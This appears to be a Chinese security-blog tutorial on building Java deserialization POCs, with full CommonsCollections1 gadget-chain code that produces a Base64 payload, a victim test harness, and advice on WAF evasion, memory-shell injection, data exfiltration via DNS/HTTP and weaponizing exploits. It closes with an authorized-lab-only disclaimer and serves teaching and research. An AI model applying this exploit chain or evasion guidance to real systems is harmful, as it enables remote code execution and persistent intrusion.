1. 从“挖洞”到“造弹”：为什么我们需要自己写POC？

在安全研究或者渗透测试的日常里，你肯定遇到过这样的场景：网上爆出一个新的Java反序列化漏洞，比如某个中间件或者框架的CVE编号刚出来，全网都在找POC（概念验证代码）。你兴冲冲地下载了一个别人写好的EXP（漏洞利用程序），结果在自己的测试环境里一跑，要么直接报错，要么毫无反应。这时候你可能会怀疑人生：是我的环境不对？还是这个POC本身就有问题？

这就是依赖“拿来主义”POC的典型困境。一个成熟的漏洞利用链，往往高度依赖特定的类库版本、JDK环境、甚至是目标应用的配置。别人的POC是在他的环境下调通的，换到你这里，可能就是失之毫厘，谬以千里。更别提那些故意留坑、或者写得极其粗糙的POC了。所以，真正想在Java安全这条路上走得更远，掌握“高效开发POC”的能力，不是选修课，而是必修课。这不仅仅是复制粘贴几行代码，而是意味着你能理解漏洞的触发原理，能独立构造出能在目标环境上稳定触发的利用链，能从黑盒测试中分析出潜在的利用点。这个过程，我们称之为“造弹”，而不仅仅是“挖洞”。

今天，我们就抛开那些现成的工具和脚本，深入聊聊如何从零开始，高效地构建一个Java反序列化漏洞的POC。我们会围绕几个核心问题展开：反序列化漏洞的本质究竟是什么？一个完整的POC需要包含哪些关键部分？在编写过程中，有哪些能极大提升效率的技巧和必须绕开的“天坑”？最后，我们会通过一个模拟的实战案例，把理论变成一行行可运行的代码。

2. 反序列化漏洞的核心：不是“序列化”，而是“反序列化”

很多人一提到Java反序列化漏洞，就下意识地去研究java.io.Serializable接口，这其实是个误区。漏洞的根源，确实在于Java提供的序列化/反序列化机制，但致命点几乎全部集中在“反序列化”这个动作上。

2.1 序列化与反序列化：数据的“冰封”与“解冻”

我们可以用一个简单的类比来理解：序列化就像把一个活生生的、内部有各种状态（属性）和技能（方法）的Java对象，变成一串完全由字节组成的、可以存储或传输的“冰雕”。这个过程主要通过ObjectOutputStream来实现。而反序列化，则是把这串“冰雕”字节，重新“解冻”还原成一个内存中活生生的对象，这个过程主要由ObjectInputStream的readObject()方法驱动。

关键在于这个“解冻”过程。readObject()方法在重建对象时，会递归地调用对象及其所有成员对象的readObject()方法（如果它们自定义了的话）。这就为代码执行打开了一扇后门。

2.2readObject()：漏洞的“万能钥匙”

如果一个类实现了readObject(ObjectInputStream in)方法，那么它在反序列化时，这个方法就会被自动调用。攻击者的核心思路，就是寻找一条“调用链”（Gadget Chain），让一个可控的、能被反序列化的入口类（比如HashMap、URLDNS），通过其readObject()方法或类似机制（如toString(),hashCode(),compareTo()），经过一系列属性赋值、方法调用，最终触发一个危险的操作，例如执行任意命令（Runtime.exec()）或写入文件。

为什么HashMap、HashSet这些看起来人畜无害的类会成为入口？因为它们在反序列化时，为了重建自身的结构（如计算键的哈希值），会调用键（Key）对象的hashCode()或equals()方法。如果我们能控制这个Key，并让它是一个精心构造的、其hashCode()或equals()方法能触发后续利用链的对象，那么漏洞利用就成功了一半。

2.3 利用链的构成：寻找“齿轮”与“传动轴”

一条完整的利用链通常由三部分组成：

1. 触发入口（Sink Source）：一个在反序列化过程中会自动被调用的方法，如HashMap.readObject()->hash(key)->key.hashCode()。
2. 传递链条（Gadget Chain）：一系列通过属性关联、方法调用串联起来的类。它们像齿轮一样，将调用从入口传递到最终目标。例如，A类的getter方法返回B对象，B对象的某个方法调用了C对象的危险函数。
3. 危险终点（Execution Sink）：最终执行恶意代码的地方，最经典的就是Runtime.getRuntime().exec(“calc”)，或者利用TemplatesImpl加载恶意字节码。

我们的POC开发工作，本质上就是根据已知的漏洞公告或自己的分析，找到并组装这些“齿轮”，构造出一个能成功“传动”的序列化字节流。

3. 高效POC开发的工具箱与核心流程

工欲善其事，必先利其器。盲目地手写字节码或者拼接对象是不现实的，我们需要借助一些工具和框架来提升效率。

3.1 环境与工具准备

首先，确保你有一个顺手的Java开发环境。我强烈推荐使用IntelliJ IDEA，它对Maven/Gradle的支持、代码调试和反编译功能，能节省大量时间。项目管理用Maven或Gradle，方便引入依赖。

核心工具库：

• ysoserial：这不是一个用来直接运行的工具，而是一个“武器库”和“学习宝典”。它集成了大量已知的、针对不同库（CommonsCollections, Jdk7u21, JavassistWeld等）的利用链。我们的主要目的不是直接使用它生成Payload，而是学习它的源码，理解每条链是如何构造的。你可以把它克隆到本地，作为参考。
• Marshalsec：另一个强大的工具，特别擅长于处理基于JNDI注入的反序列化利用（如Log4j2漏洞的底层原理之一）。它可以帮助你快速启动恶意的JNDI服务（LDAP/RMI），用于测试。
• JD-GUI 或 CFR：Java反编译工具。当你拿到一个目标应用的Jar包时，需要用它们查看源码，寻找潜在的利用类。
• Burp Suite 的 Java Deserialization Scanner 插件：用于黑盒测试，可以自动检测HTTP请求中潜在的序列化数据点。

3.2 POC开发四步法

一个高效的开发流程可以归纳为以下四个步骤：

第一步：信息收集与目标分析这是最重要的一步。你需要确定：

• 目标是什么？是一个Web应用（Shiro, Fastjson, Weblogic）？还是一个RPC服务？或者是一个自定义的通信协议？
• 它使用了哪些库？通过报错信息、依赖分析工具或反编译，找出目标使用的第三方库及其版本，例如：commons-collections 3.1,fastjson 1.2.24,jackson-databind 2.9.8。不同版本的库，可用的利用链天差地别。
• 反序列化的入口点在哪？数据是如何输入的？是HTTP参数、Cookie、RMI请求、还是自定义的二进制协议？数据格式是Java原生序列化流（通常以AC ED 00 05开头）、JSON、XML还是其他？

第二步：利用链研究与选择根据第一步收集到的信息，去匹配已知的利用链。

• 如果目标用了commons-collections <= 3.2.1，那么经典的CC链（如CommonsCollections1）就是首选。
• 如果是Fastjson，你需要找的是利用其autoType特性，通过精心构造的JSON字符串触发特定类的setter/getter或构造函数的链。
• 如果是Jackson，则关注利用多态类型处理（@JsonTypeInfo）的链。
• 如果目标环境JDK版本较低（如<=7u21），还可以考虑纯JDK内部的利用链（Jdk7u21）。

第三步：POC构造与本地调试这是编码的核心阶段。不要试图一次性写对整个复杂的链。应该采用“自底向上”或“分段调试”的方法。

1. 先写终点：先确保你的恶意代码片段（如命令执行、字节码加载）能独立工作。可以写一个简单的类，包含static代码块或构造函数，里面执行你的代码。

   public class EvilClass { static { try { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } catch (Exception e) { e.printStackTrace(); } } }

2. 构造链的最后一环：找到那个能实例化或触发你EvilClass的“齿轮”。比如，对于CC链，可能是InvokerTransformer；对于TemplatesImpl链，就是构造一个包含恶意字节码的TemplatesImpl对象。
3. 向前链接：一步步往前推，用ChainedTransformer、LazyMap、AnnotationInvocationHandler（对于动态代理链）等，将触发点与终点连接起来。这个过程需要大量参考ysoserial的源码。
4. 封装入口：将组装好的链条对象，放入一个标准的反序列化入口对象中，如HashMap、HashSet、BadAttributeValueExpException等。
5. 序列化与调试：将最终的对象进行序列化。在本地创建一个简单的、模拟目标反序列化逻辑的程序，反复调试。利用IDEA的调试功能，一步步跟踪反序列化过程，看你的链是否按预期执行。这里的关键是理解每一步调用时，对象的实际类型和状态。

第四步：Payload交付与测试将调试成功的序列化字节流，按照目标入口的格式进行编码。可能是Base64（用于HTTP传输），可能是直接作为二进制流发送。然后，在真实的或高度仿真的测试环境中进行验证。

4. 实战案例：模拟一个自定义类的反序列化漏洞POC

假设我们在审计一个内部Java应用时，发现它使用了一个自定义的通信协议，其中接收数据的部分代码如下：

// 模拟漏洞代码 public class VulnerableService { public Object processData(byte[] data) { try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) { return ois.readObject(); // 危险的反序列化！ } catch (Exception e) { return null; } } }

并且，该应用的classpath中包含commons-collections-3.1.jar。我们的目标是构造一个POC，在目标服务器上执行/usr/bin/gnome-calculator（假设是Linux GUI环境）。

4.1 选择利用链由于存在commons-collections 3.1，我们选择最经典的CommonsCollections1链。这条链的终点是Transformer接口的命令执行，入口是AnnotationInvocationHandler（动态代理）触发LazyMap.get()。

4.2 分段构造POC我们不直接使用ysoserial生成，而是自己编写，以理解过程。

首先，定义命令执行的终点：

import org.apache.commons.collections.Transformer; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class ChainedTransformerExploit { public static void main(String[] args) throws Exception { // 1. 定义最终执行命令的Transformer Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/usr/bin/gnome-calculator"}) }; Transformer chain = new ChainedTransformer(transformers);

这段代码构造了一个ChainedTransformer，它由四个InvokerTransformer组成，通过反射链最终调用Runtime.getRuntime().exec()。你可以先在本地测试这个chain.transform(new Object())是否能弹出计算器。

4.3 构造触发链条光有终点不够，需要让它被自动调用。CC1链利用LazyMap在get()方法被调用时，会使用我们传入的Transformer来“懒加载”一个值。

// 2. 用LazyMap包装，当get被调用时触发Transformer链 Map lazyMap = LazyMap.decorate(new HashMap(), chain);

但LazyMap本身不会被反序列化时自动get。我们需要一个在反序列化时能触发Map.get()的入口。CC1链的精妙之处在于使用了动态代理。

// 3. 创建动态代理，代理Map接口，并将调用转发到AnnotationInvocationHandler // AnnotationInvocationHandler的readObject方法会调用memberValues.entrySet()， // 如果memberValues是我们的代理Map，那么对entrySet()的调用会被拦截，转而调用invoke， // 在invoke中，我们会触发LazyMap.get()。 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); // 创建AnnotationInvocationHandler实例，其memberValues是lazyMap InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap); // 创建Map的动态代理，所有对代理Map的调用，都会交给上面的handler处理 Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, handler);

这里比较复杂。我们创建了一个AnnotationInvocationHandler，它内部持有一个Map（即我们的lazyMap）。然后创建了一个代理对象proxyMap，其所有方法调用都由这个handler处理。当handler的invoke方法被调用时，它会去调用lazyMap.get()，从而触发我们的命令执行链。

4.4 封装入口并序列化现在我们需要一个在反序列化时能自动触发这个代理Map方法的对象。在CC1链中，我们再次使用AnnotationInvocationHandler，但这次是把它作为反序列化的根对象。

// 4. 创建第二个AnnotationInvocationHandler，它包装了我们的代理Map，作为反序列化的入口 // 注意：这个handler的type参数不能为null，通常用一个注解类，如Override.class InvocationHandler finalHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap); // 5. 序列化finalHandler对象 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(finalHandler); oos.close(); byte[] serializedData = baos.toByteArray(); System.out.println("POC序列化数据长度: " + serializedData.length + " bytes"); // 这里可以将serializedData进行Base64编码，用于传输 String base64Payload = java.util.Base64.getEncoder().encodeToString(serializedData); System.out.println("Base64 Payload:\n" + base64Payload); } }

将上述代码整合，并确保引入了commons-collections的依赖。运行这个main方法，它会生成一串Base64编码的Payload。

4.5 测试与验证编写一个简单的“靶机”程序来验证：

public class VictimTest { public static void main(String[] args) throws Exception { // 假设这是从网络接收的恶意数据 String receivedBase64 = "上面生成的Base64字符串"; byte[] maliciousData = java.util.Base64.getDecoder().decode(receivedBase64); // 模拟漏洞服务 try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(maliciousData))) { Object obj = ois.readObject(); // 反序列化触发漏洞 System.out.println("反序列化完成: " + obj); } catch (Exception e) { e.printStackTrace(); } } }

运行VictimTest，如果环境配置正确，应该会看到计算器被弹出。这个过程清晰地展示了从构造恶意链到触发漏洞的完整路径。

5. 进阶技巧与深度避坑指南

当你掌握了基础链的构造后，以下这些经验之谈能让你在实战中少走很多弯路。

5.1 绕过WAF与IDS的Payload变形术直接使用公开的、特征明显的Payload（如包含Runtime.getRuntime().exec的类名）很容易被拦截。你需要变形。

• 反射调用：这是最基本的方法。不直接调用Runtime.exec()，而是用Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(null)这一长串反射来实现。工具ysoserial的很多链本身就大量使用反射。
• 字符串混淆：将命令字符串进行拆分、拼接、Base64编码、或简单的异或运算，在Payload中解码还原。

  // 例如，将 “calc” 编码 String cmd = new String(new byte[]{99, 97, 108, 99}); // 通过ASCII码数组构造

• 使用冷门类：寻找除了Runtime和ProcessBuilder以外的命令执行方式，比如通过JNI、ScriptEngine（执行JavaScript命令）等。
• 内存马注入：更高阶的做法是不直接执行命令，而是通过反序列化漏洞，向目标Web容器（如Tomcat）注入一个恶意的Filter或Servlet（内存马），获得一个持久的、加密的Webshell，这能有效绕过对命令执行行为的检测。

5.2 处理复杂的类加载与依赖问题这是POC开发中最令人头疼的问题之一。“在我这儿好好的，为什么到目标上就不行？”

• ClassNotFound/NoClassDefFoundError：你的Payload里用到的类，目标环境的classpath里没有。解决方案：
  1. 优先使用JDK自带类或目标应用已知存在的库中的类。这就是为什么TemplatesImpl（在rt.jar中）和CommonsCollections链如此经典。
  2. 利用目标已有的类作为“跳板”。例如，如果目标有groovy库，可以研究Groovy链；如果有spring-core，可以研究Spring链。
  3. URLClassLoader远程加载：构造Payload，让目标从你控制的HTTP服务器动态加载恶意类。这需要目标出网，且安全策略允许。这就是JNDI注入（如LDAP）的核心原理之一。
• 版本不匹配：commons-collections 3.2.2修复了CC1链，因为InvokerTransformer被标记为不序列化。你需要寻找其他链，如CC6（利用了TiedMapEntry和LazyMap），它在某些版本上仍然有效。务必精确匹配库版本。

5.3 调试：让POC开发过程可视化不要用System.out.println了，学会用调试器。

• 条件断点：在关键类的readObject()、get()、invoke()、transform()等方法上打条件断点，只在你关心的对象进入时才暂停。
• 表达式求值：在IDEA的调试窗口中，可以实时计算表达式，查看对象的属性值，调用方法，这对于理解链的传递过程至关重要。
• 修改运行时代码：在调试时，你可以临时修改变量的值，或者执行一些代码片段，来测试你的猜想，而不用重新启动程序。

5.4 从黑盒中发现反序列化入口点如果面对的是一个完全未知的应用，如何判断它是否存在反序列化漏洞？

• 流量特征：抓包查看请求体，寻找以AC ED 00 05（Java原生序列化魔术字）开头的十六进制数据，或者特征性的rO0AB（Base64编码后的开头）。对于JSON，关注是否包含@type之类的字段（Fastjson）。
• 报错信息：向疑似入口点发送畸形的序列化数据（如随机的AC ED 00 05开头的数据），观察返回的报错信息。如果出现java.io.StreamCorruptedException、java.io.InvalidClassException、ClassNotFoundException等，基本可以确定存在反序列化点。
• 盲打Payload：使用ysoserial生成一个不依赖特定库的、无害的探测Payload，如URLDNS链（触发DNS查询）。将Payload发送到各个参数点，监控你的DNS日志，如果有解析记录，则证明存在反序列化且执行了你的Payload。

6. 从POC到EXP：稳定利用与武器化思考

一个能弹出计算器的POC只是第一步。真正的漏洞利用（EXP）需要考虑稳定性和隐蔽性。

6.1 稳定性提升

• 异常处理：你的Payload链中任何一个环节抛出异常都可能导致利用失败。要确保链的健壮性，比如对反射调用可能抛出的异常进行捕获和处理（在构造时就要考虑）。
• 兼容性测试：在不同的JDK版本（6,7,8,11,17）和不同的目标容器（Tomcat, JBoss, Weblogic）下测试你的Payload。高版本JDK引入了serialFilter等安全机制，会阻断很多链。
• 回显与无回显：命令执行了，但你看不到结果（盲注）。你需要构造能回显结果的Payload，例如将命令执行结果写入HTTP响应、DNS日志或者一个临时文件。对于无回显的情况，可以使用DNSLog、HTTP请求带出数据，或者用时间盲注（如ping -c 4延时）来判断。

6.2 武器化与自动化当你为某个特定产品（如Apache Shiro）开发出一个稳定利用的EXP后，可以考虑将其武器化。

• 参数化：将目标地址、端口、命令等作为外部输入参数。
• 自动化探测：集成指纹识别，自动检测目标版本，然后选择对应的Payload链。
• 内存马管理：集成一键注入内存马、管理内存马的功能，形成一个简易的后渗透框架。

6.3 法律与道德的红线最后，也是最重要的一点。所有关于反序列化漏洞POC/EXP的研究、开发、测试，必须、绝对、无条件地在你自己完全可控的、隔离的实验室环境中进行。未经授权对任何非自己所有的系统进行测试，都是违法的行为。安全研究的目的是为了更好地防御，理解攻击是为了构建更坚固的城墙。这份技术能力是一把双刃剑，请务必用于正途。

开发Java反序列化漏洞POC的过程，是一个深度结合Java语言特性、序列化机制、第三方库实现和漏洞原理的复杂工程。它没有捷径，需要大量的代码阅读、调试实践和知识积累。但每当你独立完成一条复杂利用链的构造和调试，那种对系统底层运作豁然开朗的感觉，以及对“漏洞”二字更深层次的理解，正是安全研究最吸引人的地方。从读懂ysoserial的代码开始，从搭建自己的靶场环境开始，一步步走下去，你会发现自己手中的“武器”不再是从别人那里借来的，而是真正由你锻造的。